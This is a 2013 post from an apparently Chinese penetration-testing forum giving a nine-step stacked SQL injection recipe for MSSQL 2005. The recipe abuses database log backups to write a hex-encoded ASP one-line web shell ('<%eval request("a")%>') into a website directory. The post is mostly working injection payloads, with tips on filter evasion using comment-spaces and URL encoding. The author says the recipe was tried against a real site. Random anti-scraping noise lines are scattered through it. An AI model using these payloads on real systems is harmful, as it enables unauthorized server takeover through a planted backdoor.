中国网络渗透测试联盟
标题:
mssql2005 DB权限导出一句话
[打印本页]
作者:
admin
时间:
2013-7-16 20:32
标题:
mssql2005 DB权限导出一句话
网站路径也搞到了,本想使用差异备份,在数据库日志中插入一句话,然后备份到网站目录下拿shell的,估计是用户没有备份数据库的权限,但使用MSSQL2000的备份方法根本行不通,后来才想到MSSQL2005的备份和MSSQL2000有点不同。
: W% C( H- Q7 p/ n3 G! q
4 r+ l: ^: |3 i5 |4 A0 z+ Z; D2 G
+ h. S ?% b* n! K( w: A7 t
后来在网上搜半天没有找到具体的备份语句,后来在群求助,小冰才发我了具体的利用语句,但贴出来的文章貌似没啥水准,大家都知道手工差异备份是自己需要修改数据库名和网站路径的,但那个文章中对语句没有做任何解释,无奈之下我只好自己尝试了,虽然测试的网站没有成功拿下shell,单语句是没有错误的,我在本地的MSSQL2005的查询分析器中测试通过了,再次特将语句整理出来分享个大家,并做好详细的解释说明,首先来贴出语句。
( s q' H$ @1 S$ e$ g' n7 s4 R
1 ]. K5 O0 Y" X/ p+ Q
第一步
# E& U) V5 O7 |( ?* s* p; P
;alter/**/database/**/[Hospital]/**/set/**/recovery/**/full--
/ v v0 f; x8 j( @; L$ H5 Z
9 q0 w0 T" W( n. R% ], j2 [
第二步:
5 o: i- Q! i Q- Q
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/database/**/[Hospital]/**/to/**/disk=@d/**/with/**/init--
; G9 | y2 r- T( }. {
1 k0 }& z* t/ ? R
第三步
+ Q1 z% }0 ^3 g# l
;drop/**/table/**/[itpro]--
/ `8 V! G& D4 Q* c
# d( A: \; C+ \- z I
第四步
: `& W) J& h+ P2 Y
;create/**/table/**/[itpro]([a]/**/image)--
( B3 @$ M" G( A; x5 }2 v' M7 m7 W* F+ C( s
. B9 A3 m6 k. |$ C3 O7 y
第五步
" v' e9 s2 u7 t, Z
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init--
/ _, q1 g' Q9 A
$ }9 v# H. b" ~; a
第六步
6 L1 H' A# e- D8 L( d& y
;insert/**/into/**/[itpro]([a])/**/values(0x3C25657865637574652872657175657374282261222929253EDA)--
4 b4 y2 M+ G7 `: k9 E( O& Z' O& K, R
" M0 H% X- I7 G. ?6 G. ?* v0 j
第七步
) ] Y. B! h% g; H' s
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x65003A005C007700650062005C007A002E00610073007000/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init--
# A* C3 f# o$ e" _ z
0 I- K, a! z% H+ O, f- x
第八步
: q+ { w$ H" ]% ^
;drop/**/table/**/[itpro]--
3 n, q" J$ I/ a8 [2 s" F0 f
5 m( H# Z$ ?7 n! l0 \
第九步
, A8 w& t, h: W `
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init--
0 @- M; J7 i2 \+ ^
8 Y8 I6 Q L& T9 f
其中红色的“Hospital”既是数据库名,这个要根据自己的情况来修改,然后黄色的“0x3C25657865637574652872657175657374282261222929253EDA”是一句话“<%eval request("a")%>”的内容,橙色的“0x65003A005C007700650062005C007A002E00610073007000”为备份的路径“e:\web\z.asp”,都是使用的SQL_En的格式,另外第三步大可以不需要!他是删除itpro的表,如果第一次的话这个表是不存在的,就会提示无权限的信息。另外在语句“disk=@d”的地方可以将“=”更换成“%3D”,就是使用URL编码。“/**/”就等于空格了,这个大家在学习注入的过程中应该了解,也可以更换成“%20”。
; x: J% A4 D" ^2 l0 n7 w6 ~
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2